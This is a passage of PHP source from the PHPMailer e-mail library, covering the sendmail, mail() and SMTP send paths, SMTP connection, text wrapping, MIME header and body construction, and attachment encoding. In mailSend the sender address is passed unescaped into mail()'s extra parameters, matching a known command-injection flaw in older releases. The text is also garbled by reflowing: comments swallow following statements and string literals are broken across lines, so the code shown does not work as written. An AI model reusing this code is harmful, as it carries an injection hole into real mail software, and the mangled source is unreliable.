  444.  } } public function postSend() { try { // Choose the mailer and send through it switch ($this->Mailer) { case 'sendmail': case 'qmail': return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  445.  case 'mail': return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  446.  case 'smtp': return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
  447.  default: $sendMethod = $this->Mailer.'Send';
  448.  if (method_exists($this, $sendMethod)) { return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  449.  } return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  450.  } } catch (phpmailerException $exc) { $this->setError($exc->getMessage());
  451.  $this->edebug($exc->getMessage());
  452.  if ($this->exceptions) { throw $exc;
  453.  } } return false;
  454.  } protected function sendmailSend($header, $body) { if ($this->Sender != '') { if ($this->Mailer == 'qmail') { $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  455.  } else { $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  456.  } } else { if ($this->Mailer == 'qmail') { $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  457.  } else { $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  458.  } } if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { if (!@$mail = popen($sendmail, 'w')) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  459.  } fputs($mail, 'To: ' . $toAddr . "\n");
  460.  fputs($mail, $header);
  461.  fputs($mail, $body);
  462.  $result = pclose($mail);
  463.  $this->doCallback( ($result == 0), array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From );
  464.  if ($result != 0) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  465.  } } } else { if (!@$mail = popen($sendmail, 'w')) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  466.  } fputs($mail, $header);
  467.  fputs($mail, $body);
  468.  $result = pclose($mail);
  469.  $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  470.  if ($result != 0) { throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  471.  } } return true;
  472.  } protected function mailSend($header, $body) { $toArr = array();
  473.  foreach ($this->to as $toaddr) { $toArr[] = $this->addrFormat($toaddr);
  474.  } $to = implode(', ', $toArr);
  475.  if (empty($this->Sender)) { $params = ' ';
  476.  } else { $params = sprintf('-f%s', $this->Sender);
  477.  } if ($this->Sender != '' and !ini_get('safe_mode')) { $old_from = ini_get('sendmail_from');
  478.  ini_set('sendmail_from', $this->Sender);
  479.  } $result = false;
  480.  if ($this->SingleTo && count($toArr) > 1) { foreach ($toArr as $toAddr) { $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  481.  $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  482.  } } else { $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  483.  $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  484.  } if (isset($old_from)) { ini_set('sendmail_from', $old_from);
  485.  } if (!$result) { throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  486.  } return true;
  487.  } public function getSMTPInstance() { if (!is_object($this->smtp)) { $this->smtp = new SMTP;
  488.  } return $this->smtp;
  489.  } protected function smtpSend($header, $body) { $bad_rcpt = array();
  490.  if (!$this->smtpConnect($this->SMTPOptions)) { throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  491.  } if ('' == $this->Sender) { $smtp_from = $this->From;
  492.  } else { $smtp_from = $this->Sender;
  493.  } if (!$this->smtp->mail($smtp_from)) { $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  494.  throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  495.  } foreach (array($this->to, $this->cc, $this->bcc) as $togroup) { foreach ($togroup as $to) { if (!$this->smtp->recipient($to[0])) { $error = $this->smtp->getError();
  496.  $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  497.  $isSent = false;
  498.  } else { $isSent = true;
  499.  } $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  500.  } } if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) { throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  501.  } if ($this->SMTPKeepAlive) { $this->smtp->reset();
  502.  } else { $this->smtp->quit();
  503.  $this->smtp->close();
  504.  } if (count($bad_rcpt) > 0) { $errstr = '';
  505.  foreach ($bad_rcpt as $bad) { $errstr .= $bad['to'] . ': ' . $bad['error'];
  506.  } throw new phpmailerException( $this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE );
  507.  } return true;
  508.  } public function smtpConnect($options = array()) { if (is_null($this->smtp)) { $this->smtp = $this->getSMTPInstance();
  509.  } if ($this->smtp->connected()) { return true;
  510.  } $this->smtp->setTimeout($this->Timeout);
  511.  $this->smtp->setDebugLevel($this->SMTPDebug);
  512.  $this->smtp->setDebugOutput($this->Debugoutput);
  513.  $this->smtp->setVerp($this->do_verp);
  514.  $hosts = explode(';
  515. ', $this->Host);
  516.  $lastexception = null;
  517.  foreach ($hosts as $hostentry) { $hostinfo = array();
  518.  if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) { continue;
  519.  } $prefix = '';
  520.  $secure = $this->SMTPSecure;
  521.  $tls = ($this->SMTPSecure == 'tls');
  522.  if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) { $prefix = 'ssl://';
  523.  $tls = false;
  524.  // Can't have SSL and TLS at the same time $secure = 'ssl';
  525.  } elseif ($hostinfo[2] == 'tls') { $tls = true;
  526.  $secure = 'tls';
  527.  } $sslext = defined('OPENSSL_ALGO_SHA1');
  528.  if ('tls' === $secure or 'ssl' === $secure) { if (!$sslext) { throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  529.  } } $host = $hostinfo[3];
  530.  $port = $this->Port;
  531.  $tport = (integer)$hostinfo[4];
  532.  if ($tport > 0 and $tport < 65536) { $port = $tport;
  533.  } if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) { try { if ($this->Helo) { $hello = $this->Helo;
  534.  } else { $hello = $this->serverHostname();
  535.  } $this->smtp->hello($hello);
  536.  if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) { $tls = true;
  537.  } if ($tls) { if (!$this->smtp->startTLS()) { throw new phpmailerException($this->lang('connect_host'));
  538.  } $this->smtp->hello($hello);
  539.  } if ($this->SMTPAuth) { if (!$this->smtp->authenticate( $this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation ) ) { throw new phpmailerException($this->lang('authenticate'));
  540.  } } return true;
  541.  } catch (phpmailerException $exc) { $lastexception = $exc;
  542.  $this->edebug($exc->getMessage());
  543.  $this->smtp->quit();
  544.  } } } $this->smtp->close();
  545.  if ($this->exceptions and !is_null($lastexception)) { throw $lastexception;
  546.  } return false;
  547.  } public function smtpClose() { if ($this->smtp !== null) { if ($this->smtp->connected()) { $this->smtp->quit();
  548.  $this->smtp->close();
  549.  } } } public function setLanguage($langcode = 'en', $lang_path = '') { // Define full set of translatable strings in English $PHPMAILER_LANG = array( 'authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ' );
  550.  if (empty($lang_path)) { // Calculate an absolute path so it can work if CWD is not here $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  551.  } $foundlang = true;
  552.  $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  553.  if ($langcode != 'en') { // There is no English translation file // Make sure language file path is readable if (!is_readable($lang_file)) { $foundlang = false;
  554.  } else { $foundlang = include $lang_file;
  555.  } } $this->language = $PHPMAILER_LANG;
  556.  return (boolean)$foundlang;
  557.  // Returns false if language not found } public function getTranslations() { return $this->language;
  558.  } public function addrAppend($type, $addr) { $addresses = array();
  559.  foreach ($addr as $address) { $addresses[] = $this->addrFormat($address);
  560.  } return $type . ': ' . implode(', ', $addresses) . $this->LE;
  561.  } public function addrFormat($addr) { if (empty($addr[1])) { // No name provided return $this->secureHeader($addr[0]);
  562.  } else { return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader( $addr[0] ) . '>';
  563.  } } public function wrapText($message, $length, $qp_mode = false) { $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  564.  $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  565.  $lelen = strlen($this->LE);
  566.  $crlflen = strlen(self::CRLF);
  567.  $message = $this->fixEOL($message);
  568.  if (substr($message, -$lelen) == $this->LE) { $message = substr($message, 0, -$lelen);
  569.  } $line = explode($this->LE, $message);
  570.  // Magic. We know fixEOL uses $LE $message = '';
  571.  for ($i = 0;
  572.  $i < count($line);
  573.  $i++) { $line_part = explode(' ', $line[$i]);
  574.  $buf = '';
  575.  for ($e = 0;
  576.  $e < count($line_part);
  577.  $e++) { $word = $line_part[$e];
  578.  if ($qp_mode and (strlen($word) > $length)) { $space_left = $length - strlen($buf) - $crlflen;
  579.  if ($e != 0) { if ($space_left > 20) { $len = $space_left;
  580.  if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len);
  581.  } elseif (substr($word, $len - 1, 1) == '=') { $len--;
  582.  } elseif (substr($word, $len - 2, 1) == '=') { $len -= 2;
  583.  } $part = substr($word, 0, $len);
  584.  $word = substr($word, $len);
  585.  $buf .= ' ' . $part;
  586.  $message .= $buf . sprintf('=%s', self::CRLF);
  587.  } else { $message .= $buf . $soft_break;
  588.  } $buf = '';
  589.  } while (strlen($word) > 0) { if ($length <= 0) { break;
  590.  } $len = $length;
  591.  if ($is_utf8) { $len = $this->utf8CharBoundary($word, $len);
  592.  } elseif (substr($word, $len - 1, 1) == '=') { $len--;
  593.  } elseif (substr($word, $len - 2, 1) == '=') { $len -= 2;
  594.  } $part = substr($word, 0, $len);
  595.  $word = substr($word, $len);
  596.  if (strlen($word) > 0) { $message .= $part . sprintf('=%s', self::CRLF);
  597.  } else { $buf = $part;
  598.  } } } else { $buf_o = $buf;
  599.  $buf .= ($e == 0) ? $word : (' ' . $word);
  600.  if (strlen($buf) > $length and $buf_o != '') { $message .= $buf_o . $soft_break;
  601.  $buf = $word;
  602.  } } } $message .= $buf . self::CRLF;
  603.  } return $message;
  604.  } public function utf8CharBoundary($encodedText, $maxLength) { $foundSplitPos = false;
  605.  $lookBack = 3;
  606.  while (!$foundSplitPos) { $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  607.  $encodedCharPos = strpos($lastChunk, '=');
  608.  if (false !== $encodedCharPos) { // Found start of encoded character byte within $lookBack block. // Check the encoded byte value (the 2 chars after the '=') $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  609.  $dec = hexdec($hex);
  610.  if ($dec < 128) { // Single byte character. // If the encoded char was found at pos 0, it will fit // otherwise reduce maxLength to start of the encoded char $maxLength = ($encodedCharPos == 0) ? $maxLength : $maxLength - ($lookBack - $encodedCharPos);
  611.  $foundSplitPos = true;
  612.  } elseif ($dec >= 192) { // First byte of a multi byte character // Reduce maxLength to split at start of character $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  613.  $foundSplitPos = true;
  614.  } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back $lookBack += 3;
  615.  } } else { // No encoded character found $foundSplitPos = true;
  616.  } } return $maxLength;
  617.  } public function setWordWrap() { if ($this->WordWrap < 1) { return;
  618.  } switch ($this->message_type) { case 'alt': case 'alt_inline': case 'alt_attach': case 'alt_inline_attach': $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  619.  break;
  620.  default: $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  621.  break;
  622.  } } public function createHeader() { $result = '';
  623.  // Set the boundaries $uniq_id = md5(uniqid(time()));
  624.  $this->boundary[1] = 'b1_' . $uniq_id;
  625.  $this->boundary[2] = 'b2_' . $uniq_id;
  626.  $this->boundary[3] = 'b3_' . $uniq_id;
  627.  if ($this->MessageDate == '') { $this->MessageDate = self::rfcDate();
  628.  } $result .= $this->headerLine('Date', $this->MessageDate);
  629.  // To be created automatically by mail() if ($this->SingleTo) { if ($this->Mailer != 'mail') { foreach ($this->to as $toaddr) { $this->SingleToArray[] = $this->addrFormat($toaddr);
  630.  } } } else { if (count($this->to) > 0) { if ($this->Mailer != 'mail') { $result .= $this->addrAppend('To', $this->to);
  631.  } } elseif (count($this->cc) == 0) { $result .= $this->headerLine('To', 'undisclosed-recipients:;
  632. ');
  633.  } } $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  634.  // sendmail and mail() extract Cc from the header before sending if (count($this->cc) > 0) { $result .= $this->addrAppend('Cc', $this->cc);
  635.  } // sendmail and mail() extract Bcc from the header before sending if (( $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail' ) and count($this->bcc) > 0 ) { $result .= $this->addrAppend('Bcc', $this->bcc);
  636.  } if (count($this->ReplyTo) > 0) { $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  637.  } // mail() sets the subject itself if ($this->Mailer != 'mail') { $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  638.  } if ($this->MessageID != '') { $this->lastMessageID = $this->MessageID;
  639.  } else { $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
  640. } $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  641. $result .= $this->headerLine('X-Priority', $this->Priority);
  642. if ($this->XMailer == '') { $result .= $this->headerLine( 'X-Mailer', 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)' );
  643.  } else { $myXmailer = trim($this->XMailer);
  644.  if ($myXmailer) { $result .= $this->headerLine('X-Mailer', $myXmailer);
  645.  } } if ($this->ConfirmReadingTo != '') { $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  646.  } // Add custom headers for ($index = 0;
  647.  $index < count($this->CustomHeader);
  648.  $index++) { $result .= $this->headerLine( trim($this->CustomHeader[$index][0]), $this->encodeHeader(trim($this->CustomHeader[$index][1])) );
  649.  } if (!$this->sign_key_file) { $result .= $this->headerLine('MIME-Version', '1.0');
  650.  $result .= $this->getMailMIME();
  651.  } return $result;
  652.  } public function getMailMIME() { $result = '';
  653.  $ismultipart = true;
  654.  switch ($this->message_type) { case 'inline': $result .= $this->headerLine('Content-Type', 'multipart/related;
  655. ');
  656.  $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  657.  break;
  658.  case 'attach': case 'inline_attach': case 'alt_attach': case 'alt_inline_attach': $result .= $this->headerLine('Content-Type', 'multipart/mixed;
  659. ');
  660.  $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  661.  break;
  662.  case 'alt': case 'alt_inline': $result .= $this->headerLine('Content-Type', 'multipart/alternative;
  663. ');
  664.  $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  665.  break;
  666.  default: // Catches case 'plain': and case '': $result .= $this->textLine('Content-Type: ' . $this->ContentType . ';
  667.  charset=' . $this->CharSet);
  668. $ismultipart = false;
  669. break;
  670. } // RFC1341 part 5 says 7bit is assumed if not specified if ($this->Encoding != '7bit') { // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE if ($ismultipart) { if ($this->Encoding == '8bit') { $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  671. } // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible } else { $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  672. } } if ($this->Mailer != 'mail') { $result .= $this->LE;
  673. } return $result;
  674. } public function getSentMIMEMessage() { return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  675. } public function createBody() { $body = '';
  676. if ($this->sign_key_file) { $body .= $this->getMailMIME() . $this->LE;
  677. } $this->setWordWrap();
  678. $bodyEncoding = $this->Encoding;
  679. $bodyCharSet = $this->CharSet;
  680. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) { $bodyEncoding = '7bit';
  681. $bodyCharSet = 'us-ascii';
  682. } $altBodyEncoding = $this->Encoding;
  683. $altBodyCharSet = $this->CharSet;
  684. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) { $altBodyEncoding = '7bit';
  685. $altBodyCharSet = 'us-ascii';
  686. } switch ($this->message_type) { case 'inline': $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  687. $body .= $this->encodeString($this->Body, $bodyEncoding);
  688. $body .= $this->LE . $this->LE;
  689. $body .= $this->attachAll('inline', $this->boundary[1]);
  690. break;
  691. case 'attach': $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  692. $body .= $this->encodeString($this->Body, $bodyEncoding);
  693. $body .= $this->LE . $this->LE;
  694. $body .= $this->attachAll('attachment', $this->boundary[1]);
  695. break;
  696. case 'inline_attach': $body .= $this->textLine('--' . $this->boundary[1]);
  697. $body .= $this->headerLine('Content-Type', 'multipart/related;
  698. ');
  699. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  700. $body .= $this->LE;
  701. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  702. $body .= $this->encodeString($this->Body, $bodyEncoding);
  703. $body .= $this->LE . $this->LE;
  704. $body .= $this->attachAll('inline', $this->boundary[2]);
  705. $body .= $this->LE;
  706. $body .= $this->attachAll('attachment', $this->boundary[1]);
  707. break;
  708. case 'alt': $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  709. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  710. $body .= $this->LE . $this->LE;
  711. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  712. $body .= $this->encodeString($this->Body, $bodyEncoding);
  713. $body .= $this->LE . $this->LE;
  714. if (!empty($this->Ical)) { $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar;
  715. method=REQUEST', '');
  716. $body .= $this->encodeString($this->Ical, $this->Encoding);
  717. $body .= $this->LE . $this->LE;
  718. } $body .= $this->endBoundary($this->boundary[1]);
  719. break;
  720. case 'alt_inline': $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  721. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  722. $body .= $this->LE . $this->LE;
  723. $body .= $this->textLine('--' . $this->boundary[1]);
  724. $body .= $this->headerLine('Content-Type', 'multipart/related;
  725. ');
  726. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  727.  $body .= $this->LE;
  728.  $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  729.  $body .= $this->encodeString($this->Body, $bodyEncoding);
  730.  $body .= $this->LE . $this->LE;
  731.  $body .= $this->attachAll('inline', $this->boundary[2]);
  732.  $body .= $this->LE;
  733.  $body .= $this->endBoundary($this->boundary[1]);
  734.  break;
  735.  case 'alt_attach': $body .= $this->textLine('--' . $this->boundary[1]);
  736.  $body .= $this->headerLine('Content-Type', 'multipart/alternative;
  737. ');
  738.  $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  739.  $body .= $this->LE;
  740.  $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  741.  $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  742.  $body .= $this->LE . $this->LE;
  743.  $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  744.  $body .= $this->encodeString($this->Body, $bodyEncoding);
  745.  $body .= $this->LE . $this->LE;
  746.  $body .= $this->endBoundary($this->boundary[2]);
  747.  $body .= $this->LE;
  748.  $body .= $this->attachAll('attachment', $this->boundary[1]);
  749.  break;
  750.  case 'alt_inline_attach': $body .= $this->textLine('--' . $this->boundary[1]);
  751.  $body .= $this->headerLine('Content-Type', 'multipart/alternative;
  752. ');
  753.  $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  754.  $body .= $this->LE;
  755.  $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  756.  $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  757.  $body .= $this->LE . $this->LE;
  758.  $body .= $this->textLine('--' . $this->boundary[2]);
  759.  $body .= $this->headerLine('Content-Type', 'multipart/related;
  760. ');
  761.  $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  762.  $body .= $this->LE;
  763.  $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  764.  $body .= $this->encodeString($this->Body, $bodyEncoding);
  765.  $body .= $this->LE . $this->LE;
  766.  $body .= $this->attachAll('inline', $this->boundary[3]);
  767.  $body .= $this->LE;
  768.  $body .= $this->endBoundary($this->boundary[2]);
  769.  $body .= $this->LE;
  770.  $body .= $this->attachAll('attachment', $this->boundary[1]);
  771.  break;
  772.  default: // catch case 'plain' and case '' $body .= $this->encodeString($this->Body, $bodyEncoding);
  773.  break;
  774.  } if ($this->isError()) { $body = '';
  775.  } elseif ($this->sign_key_file) { try { if (!defined('PKCS7_TEXT')) { throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
  776.  } // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1 $file = tempnam(sys_get_temp_dir(), 'mail');
  777.  if (false === file_put_contents($file, $body)) { throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  778.  } $signed = tempnam(sys_get_temp_dir(), 'signed');
  779.  if (@openssl_pkcs7_sign( $file, $signed, 'file://' . realpath($this->sign_cert_file), array('file://' . realpath($this->sign_key_file), $this->sign_key_pass), null ) ) { @unlink($file);
  780.  $body = file_get_contents($signed);
  781.  @unlink($signed);
  782.  } else { @unlink($file);
  783.  @unlink($signed);
  784.  throw new phpmailerException($this->lang('signing') . openssl_error_string());
  785.  } } catch (phpmailerException $exc) { $body = '';
  786.  if ($this->exceptions) { throw $exc;
  787.  } } } return $body;
  788.  } protected function getBoundary($boundary, $charSet, $contentType, $encoding) { $result = '';
  789.  if ($charSet == '') { $charSet = $this->CharSet;
  790.  } if ($contentType == '') { $contentType = $this->ContentType;
  791.  } if ($encoding == '') { $encoding = $this->Encoding;
  792.  } $result .= $this->textLine('--' . $boundary);
  793.  $result .= sprintf('Content-Type: %s;
  794. charset=%s', $contentType, $charSet);
  795.  $result .= $this->LE;
  796.  // RFC1341 part 5 says 7bit is assumed if not specified if ($encoding != '7bit') { $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  797.  } $result .= $this->LE;
  798.  return $result;
  799.  } protected function endBoundary($boundary) { return $this->LE . '--' . $boundary . '--' . $this->LE;
  800.  } protected function setMessageType() { $type = array();
  801.  if ($this->alternativeExists()) { $type[] = 'alt';
  802.  } if ($this->inlineImageExists()) { $type[] = 'inline';
  803.  } if ($this->attachmentExists()) { $type[] = 'attach';
  804.  } $this->message_type = implode('_', $type);
  805.  if ($this->message_type == '') { $this->message_type = 'plain';
  806.  } } public function headerLine($name, $value) { return $name . ': ' . $value . $this->LE;
  807.  } public function textLine($value) { return $value . $this->LE;
  808.  } public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment') { try { if (!@is_file($path)) { throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  809.  } // If a MIME type is not specified, try to work it out from the file name if ($type == '') { $type = self::filenameToType($path);
  810.  } $filename = basename($path);
  811.  if ($name == '') { $name = $filename;
  812.  } $this->attachment[] = array( 0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, // isStringAttachment 6 => $disposition, 7 => 0 );
  813.  } catch (phpmailerException $exc) { $this->setError($exc->getMessage());
  814.  $this->edebug($exc->getMessage());
  815.  if ($this->exceptions) { throw $exc;
  816.  } return false;
  817.  } return true;
  818.  } public function getAttachments() { return $this->attachment;
  819.  } protected function attachAll($disposition_type, $boundary) { // Return text of body $mime = array();
  820.  $cidUniq = array();
  821.  $incl = array();
  822.  // Add all attachments foreach ($this->attachment as $attachment) { // Check if it is a valid disposition_filter if ($attachment[6] == $disposition_type) { // Check for string attachment $string = '';
  823.  $path = '';
  824.  $bString = $attachment[5];
  825.  if ($bString) { $string = $attachment[0];
  826.  } else { $path = $attachment[0];
  827.  } $inclhash = md5(serialize($attachment));
  828.  if (in_array($inclhash, $incl)) { continue;
  829.  } $incl[] = $inclhash;
  830.  $name = $attachment[2];
  831.  $encoding = $attachment[3];
  832.  $type = $attachment[4];
  833.  $disposition = $attachment[6];
  834.  $cid = $attachment[7];
  835.  if ($disposition == 'inline' && isset($cidUniq[$cid])) { continue;
  836.  } $cidUniq[$cid] = true;
  837.  $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  838.  $mime[] = sprintf( 'Content-Type: %s;
  839. name="%s"%s', $type, $this->encodeHeader($this->secureHeader($name)), $this->LE );
  840.  // RFC1341 part 5 says 7bit is assumed if not specified if ($encoding != '7bit') { $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  841.  } if ($disposition == 'inline') { $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  842.  } // If a filename contains any of these chars, it should be quoted, // but not otherwise: RFC2183 & RFC2045 5.1 // Fixes a warning in IETF's msglint MIME checker // Allow for bypassing the Content-Disposition header totally if (!(empty($disposition))) { $encoded_name = $this->encodeHeader($this->secureHeader($name));
  843.  if (preg_match('/[ \(\)<>@,;
  844. :\\"\/\[\]\?=]/', $encoded_name)) { $mime[] = sprintf( 'Content-Disposition: %s;
  845. filename="%s"%s', $disposition, $encoded_name, $this->LE . $this->LE );
  846.  } else { $mime[] = sprintf( 'Content-Disposition: %s;
  847. filename=%s%s', $disposition, $encoded_name, $this->LE . $this->LE );
  848.  } } else { $mime[] = $this->LE;
  849.  } // Encode as string attachment if ($bString) { $mime[] = $this->encodeString($string, $encoding);
  850.  if ($this->isError()) { return '';
  851.  } $mime[] = $this->LE . $this->LE;
  852.  } else { $mime[] = $this->encodeFile($path, $encoding);
  853.  if ($this->isError()) { return '';
  854.  } $mime[] = $this->LE . $this->LE;
  855.  } } } $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  856.  return implode('', $mime);
  857.  } protected function encodeFile($path, $encoding = 'base64') { try { if (!is_readable($path)) { throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  858.  } $magic_quotes = get_magic_quotes_runtime();
  859.  if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '<')) { set_magic_quotes_runtime(false);
  860.  } else { ini_set('magic_quotes_runtime', 0);
  861.  } } $file_buffer = file_get_contents($path);
  862.  $file_buffer = $this->encodeString($file_buffer, $encoding);
  863.  if ($magic_quotes) { if (version_compare(PHP_VERSION, '5.3.0', '<')) { set_magic_quotes_runtime($magic_quotes);
  864.  } else { ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
  865.  } } return $file_buffer;
  866.  } catch (Exception $exc) { $this->setError($exc->getMessage());
  867.  return '';
  868.  } } public function encodeString($str, $encoding = 'base64') { $encoded = '';
  869.  switch (strtolower($encoding)) { case 'base64': $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  870.  break;
  871.  case '7bit': case '8bit': $encoded = $this->fixEOL($str);
  872.  // Make sure it ends with a line break if (substr($encoded, -(strlen($this->LE))) != $this->LE) { $encoded .= $this->LE;
  873.  } break;
  874.  case 'binary': $encoded = $str;
  875.  break;
  876.  case 'quoted-printable': $encoded = $this->encodeQP($str);
  877.  break;
  878.  default: $this->setError($this->lang('encoding') . $encoding);
  879.  break;
  880.  } return $encoded;
  881.  } public function encodeHeader($str, $position = 'text') { $matchcount = 0;
  882.  switch (strtolower($position)) { case 'phrase': if (!preg_match('/[\200-\377]/', $str)) { // Can't use addslashes as we don't know the value of magic_quotes_sybase $encoded = addcslashes($str, "\0..\37\177\\\"");
  883.  if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) { return ($encoded);
  884.  } else { return ("\"$encoded\"");
  885.  } } $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  886.  break;
  887.  /** @noinspection PhpMissingBreakStatementInspection */ case 'comment': $matchcount = preg_match_all('/[()"]/', $str, $matches);
